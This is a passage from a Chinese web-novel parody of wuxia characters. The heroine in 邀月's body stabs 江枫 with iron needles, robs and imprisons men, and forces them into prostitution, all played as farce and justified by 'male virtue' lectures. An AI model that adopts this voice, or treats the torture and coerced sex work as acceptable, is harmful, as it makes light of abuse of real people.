不仅仅是在国内上映,国外的上映的时间仅晚了五天,这部电影在国际的反响热烈,一举摘得年度最佳电影头衔。
这部电影成功让主演的影后进军国际影坛,荣获年度奥斯卡最佳主角,往后的国际大制作片约不断,成为国内影史最有影响力的演员之一。
负责演唱电影主题曲《救赎》的云宝,不仅“治愈歌手”的名声被再一次坐实,而且荣获奥斯卡最佳作曲和最佳歌曲奖,不仅仅在国内歌坛影响力风光无两,连国际歌坛,也开始慢慢注意到云宝这位小姑娘。
随着电影的爆红,影片中关注的主题也被大家注意起来。
动物生存环境问题,与虐杀动物问题,主演的影后当仁不让的表示关切,底下的粉丝自然不会沉默,连连跟着支持偶像。
和这电影本没有联系的艺人也不甘落后,眼看着话题越来越热,肯定也要跟着插上一脚,赶紧蹭个热度。
这一年的走红毯,没有一个人选择穿着皮草之类的礼服出现。
国际动物保护组织,也突然被大家熟悉,越来越多的人参与到了队伍之中。越是深入了解,就越是为那些可怜的小动物们感到痛心。那些血淋淋的照片,那些让人痛恨到咬牙切齿的罪行,让大家无法再忽视这个问题。
他们也是这时候才偶然发现,当红的艺人云宝居然早已经在为这件事奔走,工作室每年的收入大部分都被投入了这方面的公益活动中。
而这个年纪比许多粉丝都要小的姑娘,却从未拿出来炫耀过,随着她的暴火,她吸引了更多的粉丝。
而粉丝越多,她的号召力也越强,介入动物保护的影响力也越来越大。
这个曾经放弃过自己生命的姑娘,不仅活了下来,还用自己的影响力,拯救了许许多多被虐待的动物,也使人们更加关注动物生存环境问题……
35. 影视的颠覆世界
云灵刚降临这个影视世界,就见一貌美女孩说话:“回禀大宫主、二宫主,外面有一位受伤的男子倒在了宫门前,后面还有一众追兵。但这是我们移花宫的地界,他们不敢靠近。”
云灵还未开口,一旁的怜星就抢先问道:“那男子是谁?他的仇家是谁?可知晓他们的身份?”
女子弯腰,恭敬回道:“回二宫主,那受伤的男子好像是江湖上的第一美男子江枫。追他的人奴婢并不知晓。”
“知道了,你再去看看吧。”
怜星突然有了好奇心,但还要和姐姐商量一下。
等人下去后,她拉着云灵的衣袖,期待道:“我听说江湖上的第一美男子长得很好看,我倒想看看他有多好看,姐姐,我们去看看嘛。”
这时候怜星和邀月还未因一个男人闹矛盾,还是一对亲密无间的姐妹。
“走吧。”
云灵微笑着点点头,对于怜星的好奇心,自然是百分百满足。
怜星没见过多少男人,就算有也是一些丑八怪。所以对于江湖上的第一美男子不仅有好奇,更多的还有她对男子的期待。
“姐姐,他真的有那么好看吗?”
云灵一听就知道要坏事,拉住她的手打断道:“怜星,我先问你一个问题,你觉得男人应该是怎样的?”
怜星一听懵了,犹豫一会儿才想起娘亲的话,便道:“娘亲说男人喜欢美色,一见到好看的女孩子就想动手……难不成江湖上的第一美男子,也是这样的吗?”
云灵边听边点头,等她说完才满脸郑重地道:“娘亲说得对,尤其是抛头露面的男人都不是好男人。有着江湖第一美男子称号的男人,这种称号意味着什么?意味着他想勾引女人啊!意味着他□□啊!”
怜星听得目瞪口呆,心中波澜起伏,她所知与姐姐所知,似乎大相径庭,于是选择沉默。
云灵瞥了怜星一眼,继续道:“男子汉大丈夫,当以三从四德为准则。那些在外闯荡的男子,怎能算是好男儿?尤其是那个所谓的‘天下第一美男子’,你瞧瞧他这称号,‘天下第一’意味着什么?意味着所有女子都认识他。所有女子都认识他,又意味着什么?意味着他不干净!也不知在哪个女子的床上伺候过,估计是刚从床上下来,就被人家丈夫追杀了。”
云灵拉着怜星的手:“怜星啊,女子才是家的顶梁柱。男子连孩子都生不出,不能传宗接代,要来何用?”
“啊?是这样吗?”怜星彻底懵了,竟有一种诡异的认同感。
云灵点头,又道:“当然是这样,姐姐骗你做什么?像那个‘天下第一美男子’,肯定是做了什么见不得人的事!肯定是陪富婆睡觉了。就是因为他陪富婆睡觉,然后被人家富婆的丈夫儿子发现了,所以才追杀他。”
“不然别人为什么不追杀别人,就追杀他?肯定是他自己的原因,肯定是他为人又恶心,犯了众怒。”
还没等怜星想明白,她们已走到门口。江枫正浑身是血地趴在那里,脸色惨白,看上去即将死去。但脸上残留的血迹,给他增添了几分战损的俊美。
怜星看着那张俊美的脸,心中微微一动。尤其是江枫显得那么柔弱,这足以激起她的保护欲。
一时间,她竟忘记了姐姐刚才的话,准备上前扶起江枫。
云灵先她一步,一脚踩在江枫的脸上,啧啧称奇道:“啧啧啧,你看这小白脸,身体虚成这样,肯定是服侍了很多富婆。”
怜星一听,脸色瞬间惨白,再无刚才的心动。此时江枫在她眼里,已变成了小白脸,是那种出卖自己身体的人。尤其是他还长得那么漂亮,肯定很受富婆欢迎……
云灵碾着江枫的脸,一边对着怜星教育:“你看他这身体柔弱成这样,那腰那么细,说不定还得男人喜欢。追杀他的那些男人们,估计就是他的情人。应该是他一个一个勾搭的,结果不曾想翻了车,男人们因爱生恨,所以就想要他的命。啧啧啧,世风日下啊。”
怜星平日里喜欢看书,一想到江枫被男人按在身下,她就恶心得想吐,恨不得自己没出来过。
“噗!你你……血口喷人……”
江枫还没晕过去,云灵的话他一字不落地听了进去,每一个字都让他难以接受,气得他都打起精神来反驳,可一口老血直接喷了出来,染红了一大片沙砾。
“呵,这男人还敢做不敢当。”
云灵毫不留情地踩他的脸,江枫脸上的俊美已经不复存在。一边脸已被沙砾嵌入,血肉模糊一片;被云灵踩的那一边脸已经红肿,整个人看上去狼狈又丑陋,令人恶心。
怜星现在已经在江枫脸上看不到俊美了。既然看不到,她就不会心生怜悯,直接冷漠无情地建议道:“姐姐,我们杀了他吧。”
云灵说道:“不着急,我们要用爱包容他,让他改掉身上的臭毛病,让他洗心革面,重新做人。以后要做一个遵守男德的男人,这不比杀了他要好?”
怜星有些恶心,也有些犹豫,但仔细一想,觉得姐姐说得对,便点头同意了。
“来人,把他拖进去,等我们回来后好好教他重新做人。”
云灵收回脚后,带着怜星去找另一批人去了。
移花宫地界外,有一群人正在磨刀霍霍,愤恨地咒骂着江枫。
“这个死江枫,居然敢跑到移花宫地界去,他真是不想活了!”
“是啊,移花宫的那群女人简直是母老虎,一个两个都杀人不眨眼。难道他不知道移花宫人不喜欢男人?还是他以为凭借着他那张小白脸能够迷倒一大片?”
“该死!就是因为他!我家破人亡啊!”
“我家也是!不就是一个小白脸吗?比我有男子气概吗!”
“那肯定是没有的。你们瞧他那腰细的跟什么似的,如果我好男色,那我肯定是要采他一采嘿嘿嘿。”
那人说着就开始猥琐地笑了起来,一口黄牙,黑黢黢的一张脸,猥琐得令人有些恶心。
他旁边的人看不过去,上去就给他一脚。
“滚开,恶不恶心!”
……
云灵和怜星坐在树上,静静地听着他们咒骂江枫,时不时地还点评两句。
“怜星你看,我说什么来着,他不仅傍富婆,他居然还睡男人。要是他不睡男人,别人又怎么知道他腰那么细呢?别人为什么会对他有那种想法呢?”
怜星脸色已经绿了,整个表情十分痛苦和嫌弃。她在心里默默地忏悔,她不应该对那么肮脏的一个人产生一丝心动……
其实但凡往那方面去想就回不来了。哪怕江枫还是清白的一个人,但在怜星眼里,也是一个不干净的人。别人觊觎他,那肯定是他的原因啊?
要不是他打着天下第一美男子的名头去招摇过市,也不会有那么多男人觊觎他的身子。
说到底都是江枫他自己□□!
怜星沉默不语,但底下的人已经动起手来。
那猥琐的男子觉得自己的自尊受到了极大的侮辱,提起刀就向那个踢他的人砍去。
那男子也不示弱,躲开攻击后,毫不客气地还击。
两人瞬间战作一团,有些人试图上前劝解,但越劝,两人打得越凶,甚至波及到了旁边的人,渐渐演变成了一场混战。
云灵心中暗喜,这波混战等于白捡了人头。
最终,云灵和怜星各自拖着一队人回去了。
不明真相的人还以为是她们两个揍了他们呢,毕竟每个人都带着伤。
移花宫虽名为宫,实则是一个巨大的山洞,里面阴暗潮湿。
在将这些人送进牢房之前,云灵拔出一旁守卫的刀,“打劫,把钱交出来,不然杀了你们。”
被关进牢房的众人一脸沉默地看着云灵,他们心中有话,却不知该如何表达,于是选择保持沉默。
“快点,自己动手,我要是动起手来,你们就没命了。”
云灵见他们不动,拿着刀往旁边的墙壁上轻轻一划,瞬间一块石头掉了下来,吓得赶紧把家当都拿出来了。
在云灵的一番威慑下,成功地从他们那里得到了十几两银子。
云灵对此很不满意,看他们的眼神都变了,提起刀指着他们的鼻子就开始教育:“你们这些不守男德的男人怎么这么穷?是不是没有努力工作?是不是工作不努力?
没有钱你们怎么孝敬母亲?赚不到钱你们怎么对得起你们的妻子?连孩子都生不出来的人,连钱都赚不到,你们活着有什么意思,不如死了算了……”
在这一番打击下,有一个人受不了了,抓着牢房门,梗着脖子怒吼:“啊!——我受不了了!贱人你抢了我们的钱就算了!还要骂我们!你是不是人啊!啊!你有本事就杀了我啊!受不了!啊啊啊啊啊啊……”
其他人虽然没说话,但丑陋的脸颊上划过了悲伤而又痛苦的泪水。他们的心已经被扎了无数刀,已经疼得无法呼吸。
云灵无视他们的怒火,继续打击:“赚不到钱,你们还有理了?
去卖啊!
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虽然你们人丑,但是你们都有一朵美丽的菊花,总有人会喜欢的,你们的妻子也是不会怪你们的。”
“你们也要大度一些,虽然你们没了身子,还是一个不干净的人,但是你们也是为了这个家。虽说终归是对不住你们的妻子,所以你们要主动地给你们的妻子纳夫郎,传宗接代,总不能让你们家妻子断后吧,虽然……”
众人震惊了,下巴都惊掉地上了。
这些话他们还是第一次听见!居然让他们去卖身!
畜生啊!亏她长得那么好看,结果却是一副蛇蝎心肠!
畜生啊!真是个畜生!
难怪有人说移花宫的邀月心狠手辣,杀人不眨眼,跟畜生是一样一样的!
早知道是这样的,他们宁愿死在家里面,宁愿去大街上要饭也不来这里,呜呜呜……
“我决定不杀你们了,虽然你们丑了一点,但菊花估计还没用过,用你们来赚钱,应该还是不错的。”
云灵想到了一个发家致富的点子,虽然移花宫不缺钱,但架不住天下女子多呀!
为了她们移花宫的未来,为了天下女子都能有所庇护,她要努力赚钱、称霸武林!
众人沉默了、痛苦了、心碎了。
一想到自己的人生即将迎来悲惨的命运,他们就升起了反抗的心理,疯狂地抓着牢房门摇晃着,还不停地呼唤着云灵和怜星。
“啊!——毒妇!啊!你们回来啊!有本事就杀了我!别折磨我!杀了我!杀了我!有本事就杀了我!邀月啊啊啊啊啊啊啊啊啊啊啊……”
怜星一边走一边偷看云灵,总感觉自家姐姐有些不一样。走出地牢后才拉着云灵问道:“姐姐,你为何不杀他们?”
云灵停下来,看着怜星反问道:“娘亲把这么一个家业留给我们,我们要好好发扬光大。我的移花宫的主旨是什么?”
怜星正色道:“庇护天下女子,给所有无家可归的女子一个容身之地。”
云灵补充道:“是呀,我们要给天下女子一个家。那么多女子要吃要喝,我们总不能坐吃山空吧,所以那些男的就是我们发财道路上的重要一环。”
怜星还是有些不明白,发财跟男人有什么关系?
“阿妹,娘亲不在,咱俩要相依为命,所以你会支持我的吗?”
云灵拉着怜星的手,一脸真诚。
“会的,姐姐。”
姐姐想做什么,她都会无条件地支持。
男人而已,利用了就利用了,反正他们也是要死的,还不如利用他们发扬一下余辉!
“好的,走吧,我们去看看那个天下第一美男子。”
怜星……我这情绪才刚上,你变脸变得这么快,合适吗?
江枫没有被关在地牢之中,而是单独给他开了一间房。
有利用价值的人对云灵来说都不一般。
江枫浑身是血地躺在石床之上,旁边有一个美女在辛辛苦苦地照顾他。
虽然江枫那张脸现在惨不忍睹,但是花月奴的眼里依旧闪烁着爱慕。
两人身边隐约有些粉红泡泡,完全没有注意到别人的到来。
“花月奴?不是不要让人来打扰他吗?”
怜星看着照顾江枫的花月奴,眼里闪过一丝疑惑。她不记得有让人来照顾这个天下第一美男子。
“拜见大宫主、二宫主,我……我以为江公子是两位宫主的客人,我就……我就来照顾了……”
花月奴闻言,脸上甜蜜的微笑瞬间惨白一片,立即丢开帕子跪倒在地,可再怎么解释也掩饰不了她一脸的心虚。
怜星性子软一些,也没想着惩罚她,便挥手让她下去。
云灵眼疾手快地按住了怜星的手,随后又从里面拿出一根铁针,对着花月奴笑道:“来的正好,这里正好需要你帮忙。”
“啊?”花月奴看着那根拇指粗、又跟手臂一样长的铁针,脸色更加惨白了。
她突然心中升起了一种不好的预感。
怜星也很疑惑:“姐姐,你这是从哪里拿的?”
“怜星,来者都是客,江公子既然受了伤,那我们就得替他治疗。一般的银针救不了江公子,所以我从地牢拿了一根粗铁针。”
云灵说完后,将铁针递给了花月奴。
“宫……宫主,我……我不会。”
花月奴已经被手里的铁针吓出冷汗了,哪怕这根铁针还带着余温,也冷得她一激灵。
还有,这个铁针是要扎哪里的?
36. 影视的颠覆世界
云灵轻拍着花月奴的肩膀,语气中带着忽悠:“月奴,你不必害怕。你这是在助江公子一臂之力。若无你的援手,江公子恐怕难逃此劫。你忍心见如此俊逸的公子,英年早逝吗?”
“啊?宫主...真是这样吗?”花月奴一脸惶恐与不安,眼中却满是怀疑。
“不是吧,哪有好人治病用铁针的!”她的声音中带着一丝颤抖。
云灵恨铁不成钢地看着花月奴,道:“是啊,华佗尚且要为人开颅,用一根钢针又有何不可?月奴,你还需多读些书。”
花月奴震惊了,难道她真的如此无知?
云灵挥了挥手,命令道:“好了,用钢针从他脚底板扎进去,一定要扎透。这样他才能生龙活虎。”
花月奴苦着脸,犹豫不决。
她实在下不了手,这铁针如此之长,如此之粗,若是扎进去,人岂不当场丧命!
江枫在花月奴的照料下,身上已不再流血,伤口也已包扎妥当,但他并未完全失去意识,只是浑身虚弱,言语艰难。他张了张嘴,结巴地吐出几个字:“噗!月...月奴,你别听那毒妇的……”
云灵不理会江枫,微笑着对花月奴说:“你要是不扎,我就扎你。”
花月奴本能地害怕云灵,那微笑中透着渗人的寒意,让她浑身起了鸡皮疙瘩。
她立刻扭头看向江枫,喃喃自语道:“江公子,对不起。”然后抓起江枫的一只脚,提着铁针狠狠地扎了进去。整个过程一气呵成,毫无拖泥带水,颇有女侠风范。
“啊!——”江枫痛得高声大叫,声音尖锐而长,整个人看上去比刚才有活力多了。原本不能动的身体也开始颤抖,就连脸色也变得红润,像个红苹果,不知情的人还以为他害羞呢。
花月奴死死抱着江枫的脚,另一只手还不停地将铁针往里推。江枫的痛苦,她似乎能感同身受,开始无声地啜泣。
“呜呜呜呜呜呜……”
怜星越看越觉得稀奇,她没想到那根铁针真的能插入人体,看来她要学的还有很多。
云灵在一旁津津有味地看着,见差不多了,指挥花月奴道:“月奴,你看他是不是精神多了?现在换另一只脚吧。”
“呜呜呜,宫主,算了吧,呜呜呜呜呜呜呜……”
花月奴一边换脚,一边泪眼朦胧地看着云灵。
见云灵没有罢手的意思,她又僵硬地将头扭了回去,用力抽出铁针,狠狠地扎向另一只脚底心。
虽然腥臭的血溅了她一脸,但她不敢有半分抱怨。
她害怕宫主,更不敢违抗命令,只能颤颤巍巍地对江枫这个心上人动手。
虽然她动手了,但她是爱他的呀,希望江公子能够明白她的迫不得已……
“啊!!啊!!啊啊啊啊啊……”
江枫无法理解,一点都理解不了。
那铁针从他的脚底板直穿进他的腿,疼得他整个脚都快动弹不得。
暴力扎进来时扎断了很多根经络,一阵一阵的剧痛,直接淹没了他整个人,让他生不如死!
“啧啧啧,人都有活力了,月奴扎他腰子。”
云灵满意地看着这一幕,渣男就应该去死。
只要花月奴好好听她的话折磨江枫,那她可以考虑一下给她一个比较好的结局。如果不听话,那就和江枫一样的待遇。
“啊!宫主!呜呜呜呜呜呜……”
花月奴一脸不可置信,她真的没想到云灵这么恶毒,居然让她扎江枫的腰子!那可是腰子啊!男人行不行就看腰子啊!
可她又不敢拒绝,如果她拒绝的话,可能比江枫还要先入地狱。
止住泪后,她冷漠无情地看着江枫。
江枫,对不起了!为了活命,只能牺牲他了!
于是花月奴抽出铁针,甩开脚,提起铁针狠狠地向着江枫的腰子扎去!
“月...噗!月奴,不...不要,啊!——”
江枫狼狈地躺在石床上,苟延残喘地看着花月奴,迷离的眼神中还带着一些祈求。
可下一刻,那带血的铁针狠狠地扎透江枫的腰子,疼得他白眼一翻,当场晕死过去。
“啊!江公子!我...我呜呜呜呜呜……”
花月奴看着浑身是血晕过去的江枫,一时愧疚涌上心头,趴在江枫的身上痛哭流涕。
“他们?”怜星皱着秀眉看着他俩,难不成这两个人有一腿?
“没事,有一腿就成全他们。”云灵满脸的不在意。花月奴是她们移花宫的人,只能死在移花宫。江枫要想和花月奴在一起,只能携着巨款入赘移花宫。
“?”怜星不解,还成全他们?不应该送他们两个一起下去吗?
“月奴,要好好照顾江公子哦。”云灵嘱咐了一遍花月奴后,拉着怜星离开了。
花月奴还伏在江枫的身上哭个不停。
虽然江枫晕过去了,但她可以自我安慰:一边腰子坏了,不是还有另一边吗?只要努力锻炼,还是可以用的,还是有美好未来的。
呜呜呜呜呜呜呜呜……
江枫……人已晕死,请勿打扰,谢谢。
云灵回去后就闭关,练功是不可能练功的,原主的武功已入化境许久,而云灵的天罗地网式早几百年就是圆满状态,哪里还需要练什么功?
她不过是修改了那些女德女戒,将它们焕然一新后变成了男德男戒!
第二日,地牢。
那群抠脚大汉看着这娘不拉叽的衣裳,发出了一阵嫌弃的声音。
一个两个都表示,他们就算从这里跳下去,找块豆腐撞死,被乞丐轮死,也不会穿这娘不拉叽的衣裳!
他们不仅相信人多可以反抗黑恶势力,他们身上还有的是骨气和骄傲!
“是吗?”云灵提着刀,凉飕飕地看着他们。
众人看着冷酷无情又尖酸刻薄的云灵,沉默了几秒后,主动自觉地穿了起来。穿好后,站成一排听云灵指挥。
“请您指示!我们都将洗耳恭听!”
云灵点头道:“很好,报数。”
那群男人在云灵的威慑之下,不得不在屋檐下低了头,憋屈地开始一个一个地报数。
“一。”
“二。”
“三。”
……
“十九。”
“二十。”
云灵看着他们,沉默不语。
人还是太少了,她决定去抓些男人来,将男德学堂发扬光大。
她将编写的男德理论交给怜星后,就出去了。
怜星看着手里的男德理论,翻了几页,还真是越看越有道理。
花了好几个时辰看完后,她决定将男德理论传授给这二十个男人。
那群男人死活都不愿意学,他们只听过移花宫邀月的恶名,至于怜星这位二宫主,倒是比较温和善良,所以他们不怕!他们要和她硬杠到底!他们要和黑恶势力决战到底!
“哎。”怜星对此表示很无奈,不仅收拾了他们一顿,还将他们仅有的内力也都给废了。
反正也只是一群废物,那一点微薄的内力也毫无作用,废了算了。
怜星的温和可不是对丑男人的,叫这些人知道,她与姐姐相比,丝毫不差,绝不是这些臭男人所能反抗的。
事后,那群男人歪七扭八倒在地上,想爬起来再战时,他们体内已经没有内力了,整个人仿佛肾透支了一样,浑身松散得厉害,一点力气都没有了。
得知这个噩耗的他们,抱头痛哭了起来。
“啊!——畜生啊!啊!!你比邀月还丧心病狂啊!!啊啊啊啊啊呜呜呜呜呜呜呜呜……”
“那可是我偷懒偷出来的内力啊!呜呜呜呜呜呜呜呜呜呜呜呜呜……”
怜星听不懂他们的鬼哭狼嚎,直接从一旁拿出了一根铁针,使唤侍女随机扎了一个人。那人比江枫还柔弱,白眼一翻,直接晕死过去了。其他人一看,瞬间
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就停住了哭声,再也不敢闹了。
“专门给你们布置了学堂,排着队跟我来吧。”
怜星带着他们一群人来到了学堂,开始了他们的男德之旅。
他们除了要学习男德理论之外,还要学习烹饪做饭、针织、带娃养娃、孝顺岳母娘亲、伺候妻子等等一切杂七杂八的事情。
还要锻炼自己的菊花,争取让自己的菊花变得紧致又美丽,吸引一大批一大批的男性客户,顺便打响他们移花宫的招牌!
云灵在神祇宝典的辅助下,一口气挑了五十座山寨,拿下了山寨里的所有男人。
虽说她还没有修炼入道,感知不到罪孽之气,但神祇宝典会给她挑选,只要是没有罪孽的,放了离去。
有罪孽在身的,那么不好意思,通通归她这个未来神祇所管。
挑落了这些山寨之后,云灵带着这些男人,横扫江湖各大门派,可谓是走到哪里抢到哪里,就连燕南也被云灵捉了,作为日后的鸭院的头牌之一。
头牌之二是大侠江别鹤!他虽然有靠山,但是靠山山倒、他的靠山也被云灵捉了回来,乃是日后头牌之三刘喜。
这两个人是他们自己撞上来的。
江别鹤这个人在外面拈花惹草,处处留情,娶了老婆他也不老实,背着他老婆在外面乱搞。
他老婆的干爹虽然在皇帝身边当奴才,却不是贴身伺候的那一批,虽说如此,他也是有一些权利的,能够震一震江别鹤。
因此,江别鹤是不敢在明面上乱搞的,也不敢离家太远,每天就在街上晃悠来晃悠去,见到美女就调戏。
云灵好不容易休息了一会儿,这个江别鹤居然上来调戏她。
她这个人看见男人就厌恶,没当场打死他,是因为江别鹤长得还是有点好看的,做一个头牌也是绰绰有余的,嘿嘿嘿,真的很不错呀。
于是云灵无情地揍了他一顿,并给他家写了一封信,让江别鹤的老婆带十万纹银来赎人,不然她要撕票了!
江别鹤的老婆还是挺喜欢江别鹤的,小白脸嘛,听话还会哄人,活也不错,搁谁谁不喜欢?可惜她家没钱,十万两纹银把她卖了都没有那么多钱,可她现在又没玩够江别鹤,就立马求助了她干爹。
她干爹刘喜没有孩子,就这么一个认的女儿,他还是有点良心的,请了假就出宫,并发誓一定要帮着他女儿救老公!
刘喜虽然贪赃枉法,也算是有钱有势,但是那些钱可都是他的命根子,再加上他武功卓然,能用武力解决的事情,为什么要用钱?他又没病!
所以他们趁着黑夜偷偷地来到了云灵给的地址。
刘喜这个人相当自信,直接破门而入,把闭目养神的云灵给吓了一跳。
“放肆!快把我干女婿交出来~不然别怪咱家不客气了~”
刘喜翘着兰花指,带着颤音的放狠话。
“放肆,敢打扰本宫主,该当何罪?”云灵争锋相对放狠话。
刘喜可是伺候皇帝的人,一个土匪也敢威胁他?
所以他直接动手,反派死于话多,他可不是反派,所以话少。
云灵能怎么办?当然是把他给揍一顿咯,刘喜女儿倒是没被揍,但她也离不开。
最后,江别鹤他们一家三口终于团聚了,但并没有久违的痛哭流涕,都在相互埋怨。
江别鹤埋怨他老婆和他老婆的干爹,认为这两个人都是废物,居然不带人手就来,这不是有病是什么?
看吧!全送了!
江别鹤他老婆呢?埋怨江别鹤是个废物,自己死就算了,还要连累他们!就觉得相当的晦气。
至于刘喜?他无底线地埋怨他们两个,如果不是这两个废物,他又怎么会沦落到如今这副模样?
三人吵来吵去,吵得脸红脖子粗,恨不得挣开绳子打一架。
云灵满足他们三个的愿望,把他们内力都废了后,贴心的把绳子给他们解开了,然后坐在那里静静地看着。
37. 影视的颠覆世界
江别鹤!
刘喜重获自由后,第一个冲向江别鹤。江别鹤并非易与之辈,加之年轻气盛,一时间竟压着刘喜打。
“放开我干爹!江别鹤,你去死!”
江别鹤的妻子见不得这等行径,冲上前去,将江别鹤按倒在地,一拳接着一拳,力道之猛,令云灵惊叹。
刘喜见机不可失,与干女儿联手,对江别鹤发起了猛烈的攻击。
然而,干女儿性格暴躁多变,转瞬间又将刘喜按倒在地。
江别鹤趁机爬起,却又被妻子再次按倒。
她一人独战两人,竟将他们打得毫无还手之力,真可谓神力惊人。
云灵在一旁看得目不转睛,心中暗自赞叹:这才是真正的人才!
她心中已有了决定,这老鸨的位置非她莫属。
待到尘埃落定,江别鹤与刘喜已是动弹不得,比废物更甚。但对他们而言,只要还有一口气在,便还有转机。
刘喜喘息着,脸上带着鼻青脸肿的伤痕,却满是真诚:“你……你不是求财吗?我有钱,只要你放过我,我给你十万两纹银……”
云灵闻言,自然是一口答应。
刘喜大喜过望,他贪赃枉法,财宝无数,为了摆脱眼前的困境,立刻带她去取钱。
刘喜有一处私宅,外表不起眼,实则内藏乾坤。为了保护他的财宝,他甚至修建了一座宝库。宝库一开,光芒四射,几乎要将人的眼睛都闪瞎。
“十万两纹银,你们搬吧。”刘喜大手一挥,显得十分慷慨。
“好的,统统搬走。”云灵知道刘喜富有,却没想到他竟如此富有,立刻命令手下搬走所有财宝。
“你……你说话不算数?”刘喜震惊了,不是说好了十万两吗?怎么要将他的家底都掏空?
“现在才知道啊。”云灵不以为意。她带来的手下足够多,否则还真搬不完这些财宝。
这太监真是富得流油,或许她应该再去打劫几个?
赚钱嘛,不寒碜。
“噗!”刘喜气得吐血,竟有人比他还无耻!
但他安慰自己,只要能保住性命,钱财不过是身外之物。他不必为此伤心痛苦。
可惜,他没想到云灵不仅抢了他的钱,还要叫手下拖着他一起走。
没有轿子,只有生拖硬拽,皮都破了。
“啊!你说话不算数!江湖最守道义了……你你你你你你你你你你你啊!放开我啊!你个畜生啊!畜生啊你……”
刘喜的哭喊声在这夜里显得尤为渗人,吓得路过的人家都不敢开门,声音都不敢发出一声,生怕有鬼闯进来杀了他们。
“啊啊啊!呜呜呜呜呜呜……”
江别鹤和他的妻子也开始鬼哭狼嚎,他们对自己今后的人生已经不抱任何希望了,还不如死了算了!
云灵不想再见他们三个,实在是太吵了,直接将他们扭送至移花宫,而她则独自一人,又去找了些贪官污吏劫掠一番。
等她回去时,怜星已经教导出了一批有着优秀品质的好男人。
虽然他们依旧丑陋,但在严格的训练下,身材变得健硕,不再是白斩鸡。
他们一经推出,让刚开业的南风馆直接满客。
不仅有富婆,还有男人前来。
每个人的口味都不一样,有人喜欢好看的小白脸,有人喜欢特别丑的,有人喜欢特别粗犷的,有人又喜欢特别温柔儒雅的……
训练的那批人只够经营一个南风馆,要想开遍全国各地,还得加紧训练。
燕南天死活不干,浑身都写满了傲骨,宁愿去死也不愿意接客。但他有一个致命的缺点,就是太过讲义气,尤其是他和江枫还是好兄弟!
云灵直接拿江枫威胁他,要是不好好学习,不好好接客,她就当着他的面先腌了江枫,再插他的腰子,顺便挖了他的心肝脾肺,炒成一锅杂碎给他吃。
江枫身上的伤已经好的差不多了,但心理的创伤已经永远留下。一听见云灵这么说,当即跪在地上恳求燕南天:“燕大哥!你失去的只是你的清白和尊严,我失去的可是我的未来呀!你不能这样见死不救啊!没了它我还不如去死,大哥!呜呜呜呜呜呜……”
燕南天看着痛哭流涕的江枫,心中一阵阵地痛。
想他兄弟那么好的一个人,竟然被移花宫折磨成这个样子。他发誓,早晚要踏平移花宫!但现在为了他兄弟,也只能委曲求全了。
换上衣服,就去学习去了!
等他学成归来,傍上富婆或者是大佬,一定要让他们踏平移花宫!为他兄弟的尊严报仇!
这是一个目标!
燕南天悲壮地离开后,云灵踹了江枫一脚,准备跟他商量一点事情。
可惜江枫越哭越伤心,哭自己逝去的青春,哭自己逝去的俊美,哭自己逝去的尊严,他硬不起来了!
呜呜呜呜呜呜呜呜呜呜呜……
他可以不睡女人,但是他不能硬不起来啊!这是他作为一个男人的尊严和骄傲啊!
邀月!她真是个畜生!
云灵反手就打了他一巴掌,指着他教育道:“别哭了,哭哭哭哭哭,福气都让你哭完了,再哭下去花月奴都不要你,就算你不行了,你不是还有舌头吗?哪方面伺候不是伺候?”
“呜……”江枫捂脸哭泣,打他就算了,还要骂他,他当初还不如死在那群人手里,后悔呀!
“你呢?伤已经好了,那么我们就谈谈你的医药费、住宿费、伙食费等等的事情,这是我理的一个清单,付钱吧。”
云灵等他稍微冷静了一下,从衣袖里面取出一个清单,在江枫眼前晃了晃。
江枫望着那一长串的清单,沉默了,震惊了,痛苦了。
“怎么?是嫌少了吗?”云灵一脸不解地问道。
“你你你你你你你你……”
江枫愤恨地盯着云灵,此人的厚颜无耻,真的让他甘拜下风。
“好好好,给你看,给你看行了吧。”
云灵见他生气了,反手就将清单揣到了他怀里,让他好好地看个清楚、看个明白、看个高兴。
江枫颤颤巍巍地拿着清单,一条一条地看着,每一条都看得他两眼发昏。
收伙食费也就算了,他可以理解;收住宿费也就算了,他也是可以理解;收药材费也就算了,这他是真的能理解。但是!拉屎为什么要收费?!
不对!拉屎为什么要收费?凭什么要收费?
这一条他是真的不能理解!他是真的真的真的不服气!
太过震惊都让他忘记了,他现在是一个没有内力的废人了,失去理智的江枫直接爬起来反驳、怒斥:“太过分!你真的太过分!你们移花宫真的太过分!”
“拉屎居然也要收费!你还是人吗!邀月!你可别忘记了!你们移花宫不仅没有治好我的伤!还折磨我了许久!我要曝光你们!”
“啪!”云灵反手给了他一巴掌。
“啊!你还打我!”
江枫一手抱着清单,一手捂着脸暴风哭泣。
“打你就打你了,还要挑日子?拉屎收费有什么不对?”
云灵甩了甩手,又给了他一巴掌,这年头居然有人想免费拉屎?一看就是企业家的心理,只想着占便宜,不想着付出,这种人该死的嘞。
江枫一边哭泣一边大声的嚷嚷:“啊啊啊啊啊啊啊啊啊啊啊……我从没有听过拉屎还要收费的!”
云灵觉得还是要给他整明白的,便伸出手给他掰扯:“搞不懂是吧?那我给你掰扯掰扯。”
“你看,我们移花宫都是女子,女子给你一个男子倒粪是多么恶心的事情,那恶心的恭桶会玷污了她们圣洁美丽的灵魂,所以这该不该付她们工伤费?她们该不该收这笔钱!”
“可是 ……”江枫诡异的觉得对,但是下意识的又在辩解,但云灵不听,又给了他一巴掌后,继续掰扯道:“你再看,你一个没有行动能力的人,是需要有人给你提裤子、擦屁股的,这得多恶心啊,你自己心里面没点数吗?那么繁琐辛苦的一个工作,难道不给人家钱吗?”
“花月奴的命也是命啊!你不是爱她吗!难不成你把她当下人?江枫你的人品还是一如既往的让人失望啊,啧啧啧……”
云灵一脸嫌
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弃的摇头,那眼神就好像在说:江枫,你可真是世界第一大人渣。
“不不不……”
江枫顶着红肿的脸,疯狂摇头反驳,虽然他是这么想的,但是他不能这么说,只能捏着鼻子委屈的认下这一条不公平的敲诈了。
不过他才不会认输,他这个人有的是尊严和骨气!
他一定要再找出一条来反驳她!
在云灵的巴掌即将落下来的时候,江枫终于找到了另外一条反驳的理由,差点让他喜极而泣。
但现在不是时候,他立马指着清单上的那条不合理的霸王条款,反驳辩论道:
“我……我找到了,你看,这一条极其不合理!”
“用在我身上的刑具居然也要我付钱!你们是不是太过分了!啊!”
云灵优雅地收回还没落下的巴掌,然后快准狠地又打了他一巴掌。
“啊!——我找到了,你为什么要打我!”
江枫委屈得要死,想他行走江湖那么多年,靠的就是他这一张美轮美奂的俊脸,无论是男人还是女人都拜倒在他的脚下。
可是如今,他却被这个恶毒女人无情地打骂。
他的脸啊!呜呜呜……
